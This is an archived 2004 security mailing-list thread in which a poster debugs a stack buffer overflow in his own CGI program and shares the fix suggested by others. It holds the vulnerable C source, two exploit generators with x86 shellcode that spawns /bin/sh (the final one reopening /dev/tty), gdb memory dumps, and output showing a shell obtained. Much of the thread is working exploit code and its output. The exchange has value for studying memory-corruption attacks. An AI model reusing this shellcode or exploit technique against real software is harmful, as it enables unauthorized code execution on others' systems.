Re: Problem exploiting a CGI overflow

From: sin (sin_at_innocence-lost.net)
Date: 11/29/04


Date: Sun, 28 Nov 2004 20:56:44 -0700 (MST)
To: Víctor Henríquez <vhenriquez@grancanaria.com>

Firstly, my last post was delayed by several days. Glad you got it
working, I didn't realize it was using scanf()/etc, I deleted the first
email after I replied (bad habit of mine). As for the last 'funny thing',
thats a debugger thing, it detects the execve and is quite normal-
actually I've never investigated what exactly it detects, but its the
result of the execve.

--
There are only two choices in life. You either conform the truth to your desire,
or you conform your desire to the truth. Which choice are you making?
On Thu, 25 Nov 2004, [iso-8859-1] Víctor Henríquez wrote:
> Date: Thu, 25 Nov 2004 14:44:34 +0000
> From: "[iso-8859-1] Víctor Henríquez" <vhenriquez@grancanaria.com>
> To: vuln-dev@securityfocus.com
> Subject: Re: Problem exploiting a CGI overflow
>
> I have a solution...
>
> First, the problem was in scanf() (as said me Rob Seace). Scanf() filter all
> whithespace characters.
>
> Second, I wrote a shellcode without 0x0b,0x0c, but it didnt work because
> I didnt close and re-open stdin (as suggested Marco Ivaldi).
>
> Here is the final exploit:
>
> --- cut ---
> #include <stdlib.h>
> #include <stdio.h>
>
> #define DEFAULT_ADDRESS          0xbffff4d4
> #define DEFAULT_OFFSET                    0
> #define DEFAULT_BUFFER_SIZE             520
> #define NOP                            0x90
>
> char shellcode[] =
> "\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
> "\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
> "
> \x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\x04\x06\x04\x05\xcd\x80
> ";
>
> int main(int argc, char *argv[]) {
>    char *buff, *ptr;
>    long *addr_ptr, addr;
>    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
>    int i;
>    FILE *out;
>
>    if (argc > 1) bsize  = atoi(argv[1]);
>    if (argc > 2) offset = atoi(argv[2]);
>    if (!(buff = malloc(bsize))) {
>       printf("Can't allocate memory.\n");
>       exit(0);
>    }
>
>    addr = DEFAULT_ADDRESS + offset;
>    printf("Using address: 0x%x\n", addr);
>    ptr = buff;
>    addr_ptr = (long *) ptr;
>    for (i = 0; i < bsize; i+=4)
>       *(addr_ptr++) = addr;
>
>    for (i = 0; i < bsize/2; i++)
>       buff[i] = NOP;
>    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
>
>    for (i = 0; i < strlen(shellcode); i++)
>       *(ptr++) = shellcode[i];
>
>    buff[bsize - 1] = '\0';
>
>    if ((out = fopen("buffer", "w")) == NULL)
>    {
>       perror("fopen");
>       exit(-1);
>    }
>
>    fprintf(out, "%s", buff);
>    fclose(out);
>
>    return 1;
> }
> --- cut ---
>
> $ cc exploit.c -o exp
> $ ./exp
> Using address: 0xbffff4d4
> $ ./post.cgi < buffer
> sh-2.05a$
>
> Thanks for all the posts :)
>
> A funny thing... I suppose that is a alignment problem:
>
> $ ./exp
> Using address: 0xbffff4d4
> $ cc post2.c -o post
> $ ./post < buffer
> Violación de segmento
> $ cc post2.c -o post.cgi
> $ ./post.cgi < buffer
> sh-2.05a$ exit
> exit
>
> More funny:
>
> $ cc post2.c -o post
> $ ./post < buffer
> Violación de segmento
> $ gdb post
> gdb: Symbol `emacs_ctlx_keymap' has different size in shared object, consider
> re-linking
> (gdb) r < buffer
> Starting program: /home/victor/laboratory/gsi/post-dev/post < buffer
>
> Program received signal SIGTRAP, Trace/breakpoint trap.
> 0x40000c00 in object.11 () from /lib/ld-linux.so.2
> (gdb) c
> Continuing.
> sh-2.05a$
>
>
>
> --
> Víctor Henríquez
>
>
> Mensaje citado por Víctor Henríquez <vhenriquez@grancanaria.com>:
>
> > Hi, I'm new in this world. I discover several buffer overflow problems in
> > some
> > of our home-made apps. I try to exploit this but I have a rare problem.
> >
> > --- Vuln Code (post2.c) ---
> > #include <stdio.h>
> > #include <string.h>
> > int main()
> > {
> >    void split(char *line);
> >    char line1[500],line2[500];
> >    strcpy(line2,"");
> >    while (!feof(stdin))
> >    {
> >       scanf("%s",&line1);
> >       strcat(line1," ");
> >       strcat(line2,line1);
> >    }
> >    split(line2);
> >    printf("bye\n");
> >
> > }
> > void split(char *line)
> > {
> >    char txt[500];
> >    char *p;
> >    strcpy(txt,line);
> > }
> > ---
> > $ cc post2.c -o post.cgi -ggdb
> > $ perl -e 'print "A"x520' | ./post.cgi
> > Violación de segmento (core dumped)
> > $ gdb post.cgi core
> > gdb: Symbol `emacs_ctlx_keymap' has different size in shared object, consider
> >
> > re-linking
> > Core was generated by `./post.cgi'.
> > Program terminated with signal 11, Segmentation fault.
> > Reading symbols from /lib/libc.so.6...done.
> > Loaded symbols for /lib/libc.so.6
> > Reading symbols from /lib/ld-linux.so.2...done.
> > Loaded symbols for /lib/ld-linux.so.2
> > #0  0x41414141 in ?? ()
> >
> >
> > Well... I'm trying overflow the strcpy() in split().
> >
> > --- exploit code ---
> > #include <stdlib.h>
> > #include <stdio.h>
> >
> > #define DEFAULT_ADDRESS          0xbffff4d4
> > #define DEFAULT_OFFSET                    0
> > #define DEFAULT_BUFFER_SIZE             520
> > #define NOP                            0x90
> >
> > char shellcode[] =
> > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> > "\x80\xe8\xdc\xff\xff\xff/bin/sh";
> >
> > int main(int argc, char *argv[]) {
> >    char *buff, *ptr;
> >    long *addr_ptr, addr;
> >    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
> >    int i;
> >    FILE *out;
> >
> >    if (argc > 1) bsize  = atoi(argv[1]);
> >    if (argc > 2) offset = atoi(argv[2]);
> >    if (!(buff = malloc(bsize))) {
> >       printf("Can't allocate memory.\n");
> >       exit(0);
> >    }
> >
> >    addr = DEFAULT_ADDRESS + offset;
> >    printf("Using address: 0x%x\n", addr);
> >    ptr = buff;
> >    addr_ptr = (long *) ptr;
> >    for (i = 0; i < bsize; i+=4)
> >       *(addr_ptr++) = addr;
> >
> >    for (i = 0; i < bsize/2; i++)
> >       buff[i] = NOP;
> >    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
> >
> >    for (i = 0; i < strlen(shellcode); i++)
> >       *(ptr++) = shellcode[i];
> >    buff[bsize - 1] = '\0';
> >
> >    if ((out = fopen("buffer", "w")) == NULL)
> >    {
> >       perror("fopen");
> >       exit(-1);
> >    }
> >
> >    fprintf(out, "%s", buff);
> >    fclose(out);
> >
> >    return 1;
> > }
> > ---
> >
> > Now the problem...
> >
> > $ echo "AAA" | ./post.cgi
> > bye
> >
> > $ cc exploit.c -o exp
> >
> > $ ./exp
> > Using address: 0xbffff4d4
> >
> > $ cat buffer | ./post.cgi
> >
> > Really he execute other code, but not the shellcode. More GDB now...
> >
> > $ gdb post.cgi
> >
> > (gdb) r < buffer
> > Starting program: /home/victor/laboratory/gsi/post-dev/post.cgi < buffer
> >
> > Breakpoint 1, split (line=0xbffff6e0 '\220' <repeats 200 times>...) at
> > post2.c:
> > 21
> > 21              strcpy(txt,line);
> > (gdb) info f
> > Stack level 0, frame at 0xbffff6b8:
> >  eip = 0x804859d in split (post2.c:21); saved eip 0x804857f
> >  called by frame at 0xbffffac8
> >  source language c.
> >  Arglist at 0xbffff6b8, args: line=0xbffff6e0 '\220' <repeats 200 times>...
> >  Locals at 0xbffff6b8, Previous frame's sp is 0x0
> >  Saved registers:
> >   ebp at 0xbffff6b8, eip at 0xbffff6bc
> > (gdb) x 0xbffff6bc
> > 0xbffff6bc:     0x0804857f
> > (gdb) n
> > 22      }
> > (gdb) x 0xbffff6bc
> > 0xbffff6bc:     0xbffff4d4 // Ret Changed!!
> > (gdb) x/100 0xbffff4d4
> > 0xbffff4d4:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff4e4:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff4f4:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff504:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff514:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff524:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff534:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff544:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff554:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff564:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff574:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff584:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff594:     0x90909090      0x90909090   0x90909090 0x90909090
> > 0xbffff5a4:     0x90909090      0x90909090   0x90909090 0x1feb9090
> > 0xbffff5b4:     0x0876895e      0x4688c031   0x20468907 0xf38920b0
> > 0xbffff5c4:     0x8d084e8d      0x80cd2056   0xd889db31 0xe880cd40
> > 0xbffff5d4:     0xffffffdc      0x6e69622f   0xbf68732f 0xbffff4d4
> > 0xbffff5e4:     0xbffff4d4      0xbffff4d4   0xbffff4d4 0xbffff4d4
> > 0xbffff5f4:     0xbffff4d4      0xbffff4d4   0xbffff4d4 0xbffff4d4
> >
> > // Shellcode is in position...
> > (gdb) n
> >
> > Program exited normally.
> >
> > What's happen!?
> >
> > I discover that the shellcode change during his execution. Yeah, some bytes
> > of
> > the shellcode change while is running.  Why?? How can avoid this?
> >
> >
> > Thanks in advance
> >
> > --
> > Víctor Henríquez
> >
> >
> >
> >
> >
> > -------------------------------------------------
> > Este email ha sido enviado a través de http://www.grancanaria.com
> >
> >
>
>
> -------------------------------------------------
> Este email ha sido enviado a través de http://www.grancanaria.com
>